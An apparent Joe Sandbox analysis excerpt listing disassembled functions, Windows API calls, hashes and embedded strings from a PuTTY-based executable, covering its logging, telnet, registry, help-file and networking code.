                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Module$FileHandleName
                                                                                                                                                    • String ID: (Press Retry to debug the application - JIT must be enabled)$...$<program name unknown>$Assertion failed!$Expression: $File: $For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts$Line: $Program: $\
                                                                                                                                                    • API String ID: 4146042529-3261600717
                                                                                                                                                    • Opcode ID: e37072009600ccdad0c491a956a2da7079427c1da419845d68a8b4a2235f6c84
                                                                                                                                                    • Instruction ID: 61d5868e8bbcb8a6fbd013e7f431caa0ee157cea4bf1522e60c1afc5d3a28a9a
                                                                                                                                                    • Opcode Fuzzy Hash: e37072009600ccdad0c491a956a2da7079427c1da419845d68a8b4a2235f6c84
                                                                                                                                                    • Instruction Fuzzy Hash: 9FC1D871A012196ADF26AB258C87FFFB3ACDFA5704F0501A8FC05D6242F7709E46CA65
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00314C60 Relevance: 21.2, APIs: 1, Strings: 11, Instructions: 163COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                      • Part of subcall function 00339440: GetLocalTime.KERNEL32(?,?,?,?,00314A24,?), ref: 00339456
                                                                                                                                                    • _strftime.LIBCMT ref: 00314CE8
                                                                                                                                                      • Part of subcall function 00315470: _strlen.LIBCMT ref: 0031549D
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: LocalTime_strftime_strlen
                                                                                                                                                    • String ID: %Y.%m.%d %H:%M:%S$%s session log (%s mode) to file: %s$/home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/logging.c$=~=~=~=~=~=~=~=~=~=~=~= PuTTY log %s =~=~=~=~=~=~=~=~=~=~=~=$Appending$Disabled writing$Error writing$SSH raw data$Writing new$ctx->state != L_OPENING$unknown
                                                                                                                                                    • API String ID: 4241967358-3602227895
                                                                                                                                                    • Opcode ID: 969f2c25a6c7cbfbb086fd6c9996d98fa7747ec520c3e202c234c6e1ca16bc1e
                                                                                                                                                    • Instruction ID: dbc48cb45a5cf07ddca6dae0d8ffdc2b09604da6cf58f8ab5c862f4505712fc4
                                                                                                                                                    • Opcode Fuzzy Hash: 969f2c25a6c7cbfbb086fd6c9996d98fa7747ec520c3e202c234c6e1ca16bc1e
                                                                                                                                                    • Instruction Fuzzy Hash: D041ECB59003049BDB26AF24FC42BAB73A9EF99304F05443DE84A4B342EB71A954C792
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00362560 Relevance: 19.6, APIs: 4, Strings: 7, Instructions: 315COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: host$ky=$pass$port$proxyhost$proxyport$user
                                                                                                                                                    • API String ID: 0-495368504
                                                                                                                                                    • Opcode ID: d95c41c61855ce8ee2907affec63afad8d90a2ec563c138da4951dda09e346a5
                                                                                                                                                    • Instruction ID: f5527806a3a7e185499d8b4300998a6df99e2310b8919272f98908e810f913f3
                                                                                                                                                    • Opcode Fuzzy Hash: d95c41c61855ce8ee2907affec63afad8d90a2ec563c138da4951dda09e346a5
                                                                                                                                                    • Instruction Fuzzy Hash: 02A1BC719047006BE7336B20EC43FBB7BA4DF41750F068429FD89AA29AF7359914D692
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00324440 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 194libraryloaderCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                      • Part of subcall function 0032B9B0: RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,00000000), ref: 0032BA26
                                                                                                                                                      • Part of subcall function 0032B9B0: RegCloseKey.ADVAPI32(?), ref: 0032BA6A
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,SHGetFolderPathA), ref: 003244E9
                                                                                                                                                      • Part of subcall function 00324AC0: CreateFileA.KERNEL32(00000000,80000000,00000000,00000000,00000000,00000000,00000000,00000002,00000000,?,00324659), ref: 00324AFB
                                                                                                                                                    • GetEnvironmentVariableA.KERNEL32(HOMEDRIVE,?,00000104), ref: 003245B3
                                                                                                                                                    • GetEnvironmentVariableA.KERNEL32(HOMEPATH,?,00000104), ref: 003245C6
                                                                                                                                                    • GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 0032462E
                                                                                                                                                      • Part of subcall function 0032BBF0: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,00324481,00000000,RandSeedFile), ref: 0032BC17
                                                                                                                                                      • Part of subcall function 0032BBF0: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000), ref: 0032BC4F
                                                                                                                                                      • Part of subcall function 0032BA90: RegCloseKey.ADVAPI32(00000000,0032448C,00000000), ref: 0032BA94
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: CloseCreateEnvironmentQueryValueVariable$AddressDirectoryFileProcWindows
                                                                                                                                                    • String ID: HOMEDRIVE$HOMEPATH$RandSeedFile$SHGetFolderPathA$Software\SimonTatham\PuTTY$\PUTTY.RND$shell32.dll
                                                                                                                                                    • API String ID: 1153880102-1528239033
                                                                                                                                                    • Opcode ID: 315315691270b553e8a21ef476fc6c5704594b7d78ec9add417b7433ca064edd
                                                                                                                                                    • Instruction ID: cb251b2a362ae4ca2a0b482a60350db7507374dae89d9006f3b256a31942bdc6
                                                                                                                                                    • Opcode Fuzzy Hash: 315315691270b553e8a21ef476fc6c5704594b7d78ec9add417b7433ca064edd
                                                                                                                                                    • Instruction Fuzzy Hash: 555118B1B8436467E72376757C43BBB328C4B95B04F190035FD498B3C2FAA5AD04C252
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002FB3B0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 172fileCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • GetTempPathA.KERNEL32(00000106,?), ref: 002FB402
                                                                                                                                                    • GetCurrentProcessId.KERNEL32 ref: 002FB410
                                                                                                                                                    • CreateFileA.KERNEL32(00000000,40000000,00000001,00000000,00000001,00000080,00000000), ref: 002FB440
                                                                                                                                                    • GetLastError.KERNEL32 ref: 002FB460
                                                                                                                                                    • CreateFileA.KERNEL32(00000000,40000000,00000001,00000000,00000001,00000080,00000000), ref: 002FB4AB
                                                                                                                                                    • WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 002FB4E7
                                                                                                                                                    • DeleteFileA.KERNEL32(00000000,?,?,?,00000000), ref: 002FB591
                                                                                                                                                    • CloseHandle.KERNEL32(00000000), ref: 002FB5AA
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: File$Create$CloseCurrentDeleteErrorHandleLastPathProcessTempWrite
                                                                                                                                                    • String ID: %s::/%s.html>main$%s\putty_%lu_%llu.chm
                                                                                                                                                    • API String ID: 4085685679-1808412575
                                                                                                                                                    • Opcode ID: e0b74a674b2b9e3ed1be02b427ebcca9309a19672c42f6938bee2f040720ec11
                                                                                                                                                    • Instruction ID: 6f6e6aebe8a19b9f3f3bf7287c4032741b8017efc1c62fe0c579fd426cc6cc7f
                                                                                                                                                    • Opcode Fuzzy Hash: e0b74a674b2b9e3ed1be02b427ebcca9309a19672c42f6938bee2f040720ec11
                                                                                                                                                    • Instruction Fuzzy Hash: 9341F4B1650209ABE3335F24FC89FBB769CAB54B54F040128FA04DA2D1E7B5A854C7A2
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003508A0 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 117COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: _strlen
                                                                                                                                                    • String ID: %s$/home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/utils/backend_socket_log.c$Connected to %s$Connecting to %s$Connecting to %s port %d$Failed to connect to %s: %s$len >= 2$ost$te h
                                                                                                                                                    • API String ID: 4218353326-3821570074
                                                                                                                                                    • Opcode ID: 656e2904043a8be66f2ab248a3159c869732ce7864c0e91e259d73c5f86289ed
                                                                                                                                                    • Instruction ID: 18ae91c9b30b7b4c69f86d28c0705c6ac46cf49bb2f7e0b87dafd2e2277be9f8
                                                                                                                                                    • Opcode Fuzzy Hash: 656e2904043a8be66f2ab248a3159c869732ce7864c0e91e259d73c5f86289ed
                                                                                                                                                    • Instruction Fuzzy Hash: CC313BB5D0435067D6376B11BC07FEF36689B8A755F050418FC855A353E6729918C2A3
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002FB230 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 76libraryloaderCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,HtmlHelpA), ref: 002FB25C
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: AddressProc
                                                                                                                                                    • String ID: HtmlHelpA$Software\SimonTatham\PuTTY64\CHMPath$Software\SimonTatham\PuTTY\CHMPath$hhctrl.ocx
                                                                                                                                                    • API String ID: 190572456-509675872
                                                                                                                                                    • Opcode ID: e27183888d792222f41d8837527cba330fd877258a259490c7e744714e72df96
                                                                                                                                                    • Instruction ID: 47544e585d21d7f48e12bee9e2944e834b590e449ae0a8dea7771e8ebb93bc0f
                                                                                                                                                    • Opcode Fuzzy Hash: e27183888d792222f41d8837527cba330fd877258a259490c7e744714e72df96
                                                                                                                                                    • Instruction Fuzzy Hash: 3E219074614286DBEB235F25FC59BB97B9C6B36384F080035ED05DA2D1E7E18850CB11
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00354B10 Relevance: 17.6, APIs: 2, Strings: 8, Instructions: 63COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: _strrchr
                                                                                                                                                    • String ID: %.*s $%.*s %d $%02x%s$%s (with certificate: %s)$/home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/sshpubk.c$SHA256:$false && "ssh_fptype_from_cert ruled out the other values"$pW5
                                                                                                                                                    • API String ID: 3213747228-1995980674
                                                                                                                                                    • Opcode ID: 44966963614077b581b31aa3ee398dba5aea31e0e7d0f543048bc1ca58679e7d
                                                                                                                                                    • Instruction ID: 7d6418e697a7aa9c1b219dbfa9e8c7ef0b10989c96ae3a90066bc85f71a75ab9
                                                                                                                                                    • Opcode Fuzzy Hash: 44966963614077b581b31aa3ee398dba5aea31e0e7d0f543048bc1ca58679e7d
                                                                                                                                                    • Instruction Fuzzy Hash: 8E0188F6A003192EEA156A217C8BE6B769DDEC1759F050434FC09CB112F622DE1DC5B2
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002F6CB0 Relevance: 16.7, APIs: 11, Instructions: 181COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • CreatePen.GDI32(00000000,00000000), ref: 002F6D98
                                                                                                                                                    • SelectObject.GDI32(00000000), ref: 002F6DA5
                                                                                                                                                    • MoveToEx.GDI32(?,?,00000000), ref: 002F6DB8
                                                                                                                                                    • LineTo.GDI32(00000000,00000001), ref: 002F6DD4
                                                                                                                                                    • SelectObject.GDI32 ref: 002F6DE3
                                                                                                                                                    • CreatePen.GDI32(00000000,00000000), ref: 002F6E41
                                                                                                                                                    • SelectObject.GDI32(00000000), ref: 002F6E54
                                                                                                                                                    • Polyline.GDI32(?,00000005), ref: 002F6E65
                                                                                                                                                    • SelectObject.GDI32(00000000), ref: 002F6E72
                                                                                                                                                    • DeleteObject.GDI32(00000000), ref: 002F6E75
                                                                                                                                                    • SetPixel.GDI32(?,?), ref: 002F6F18
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Object$Select$Create$DeleteLineMovePixelPolyline
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 1020918164-0
                                                                                                                                                    • Opcode ID: 96978acaa729a26f4bfe49ac764c49c60d9e65269bca96317ec11c1c2c39417a
                                                                                                                                                    • Instruction ID: 69a00bdc7a5d7495d85134a13efb030e10fc67a2efc86ec9adb47712d45f3458
                                                                                                                                                    • Opcode Fuzzy Hash: 96978acaa729a26f4bfe49ac764c49c60d9e65269bca96317ec11c1c2c39417a
                                                                                                                                                    • Instruction Fuzzy Hash: C261A072504345EFD3119F16ED88B7ABBA9FB94350F044629FA554B2B0C772AC54CB81
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0031B374 Relevance: 16.1, APIs: 4, Strings: 5, Instructions: 303COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • _strlen.LIBCMT ref: 0031B39D
                                                                                                                                                    • _strcat.LIBCMT ref: 0031B3C2
                                                                                                                                                    • _strlen.LIBCMT ref: 0031B3CB
                                                                                                                                                      • Part of subcall function 00314F20: ___from_strstr_to_strchr.LIBCMT ref: 00314F35
                                                                                                                                                      • Part of subcall function 00314F20: ___from_strstr_to_strchr.LIBCMT ref: 00314F44
                                                                                                                                                    Strings
                                                                                                                                                    • server subnegotiation: SB TTYPE SEND, xrefs: 0031B349
                                                                                                                                                    • server subnegotiation: SB TSPEED SEND, xrefs: 0031B3EE
                                                                                                                                                    • server subnegotiation: SB TSPEED <something weird>, xrefs: 0031B41C
                                                                                                                                                    • client subnegotiation: SB TTYPE IS %s, xrefs: 0031B35F
                                                                                                                                                    • client subnegotiation: SB TSPEED IS %s, xrefs: 0031B3FF
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ___from_strstr_to_strchr_strlen$_strcat
                                                                                                                                                    • String ID: client subnegotiation: SB TSPEED IS %s$client subnegotiation: SB TTYPE IS %s$server subnegotiation: SB TSPEED <something weird>$server subnegotiation: SB TSPEED SEND$server subnegotiation: SB TTYPE SEND
                                                                                                                                                    • API String ID: 242829194-3164916790
                                                                                                                                                    • Opcode ID: 209052c5e191d335c6ca7711604942bec19e5625ba753aec5ad25c5ccc3628a9
                                                                                                                                                    • Instruction ID: 18ed20b4d46b405f2743607810a5bd7627b2f8763da3df19fcc8886bc2c7967e
                                                                                                                                                    • Opcode Fuzzy Hash: 209052c5e191d335c6ca7711604942bec19e5625ba753aec5ad25c5ccc3628a9
                                                                                                                                                    • Instruction Fuzzy Hash: BBA14870A04301EFD71A8B24DC45BAAF799AF5D314F248629F4968B3D2E331D891D7A2
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00314344 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 204comCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • _strrchr.LIBCMT ref: 0031435C
                                                                                                                                                    • _strrchr.LIBCMT ref: 0031436F
                                                                                                                                                    • CoCreateInstance.OLE32(003BE964,00000000,00000001,003BE954,?), ref: 00314416
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: _strrchr$CreateInstance
                                                                                                                                                    • String ID: %.*s%s$/home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/jump-list.c$Connect to PuTTY session '$Run %.*s$appname$j\h
                                                                                                                                                    • API String ID: 3526010480-2179536349
                                                                                                                                                    • Opcode ID: 2bf479cd2619f994accbb6144b79f0805759b1df0986e30920f5533c1d276fca
                                                                                                                                                    • Instruction ID: a7a5be83f60b3d216eff59907dc76dc84f577cbc6e46536cf8ec742e6ff55884
                                                                                                                                                    • Opcode Fuzzy Hash: 2bf479cd2619f994accbb6144b79f0805759b1df0986e30920f5533c1d276fca
                                                                                                                                                    • Instruction Fuzzy Hash: 69510EF5A40311AFD716EF61AC4BFAB77989F54708F044828F9059F282EB71D909C6A3
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00325370 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 182networkCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • getaddrinfo.WS2_32(00000000,00000000,?,-0000000C), ref: 00325437
                                                                                                                                                    • inet_addr.WS2_32(?), ref: 00325461
                                                                                                                                                    • htonl.WS2_32(00000000), ref: 00325487
                                                                                                                                                    • gethostbyname.WS2_32(?), ref: 003254EC
                                                                                                                                                    • htonl.WS2_32(?), ref: 00325548
                                                                                                                                                    • WSAGetLastError.WS2_32(?,?,?,?,?,?,?,?,?,?,?,0033E00C,?,?,?), ref: 00325576
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: htonl$ErrorLastgetaddrinfogethostbynameinet_addr
                                                                                                                                                    • String ID: Host does not exist$Host not found$Network is down
                                                                                                                                                    • API String ID: 106626933-2906891963
                                                                                                                                                    • Opcode ID: 06e4d5f6933fbb4fc8da6aaa6197b7b09d2d43dac2a1393674a64ac30362ecc7
                                                                                                                                                    • Instruction ID: 95ba7d4aac865fda9dc0464c64ce84e8733c70c4e40f8136d8fa65ca911a47ca
                                                                                                                                                    • Opcode Fuzzy Hash: 06e4d5f6933fbb4fc8da6aaa6197b7b09d2d43dac2a1393674a64ac30362ecc7
                                                                                                                                                    • Instruction Fuzzy Hash: EE51D5B06007119FE7229F24EC85B2B77E9AF45314F244828F84BCB392E779E944CB52
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00324050 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 155COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                      • Part of subcall function 0032B9B0: RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,00000000), ref: 0032BA26
                                                                                                                                                      • Part of subcall function 0032B9B0: RegCloseKey.ADVAPI32(?), ref: 0032BA6A
                                                                                                                                                      • Part of subcall function 0032E7A0: _strlen.LIBCMT ref: 0032E7AB
                                                                                                                                                      • Part of subcall function 0032E7A0: _strcat.LIBCMT ref: 0032E7C7
                                                                                                                                                      • Part of subcall function 0032BBF0: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,00324481,00000000,RandSeedFile), ref: 0032BC17
                                                                                                                                                      • Part of subcall function 0032BBF0: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000), ref: 0032BC4F
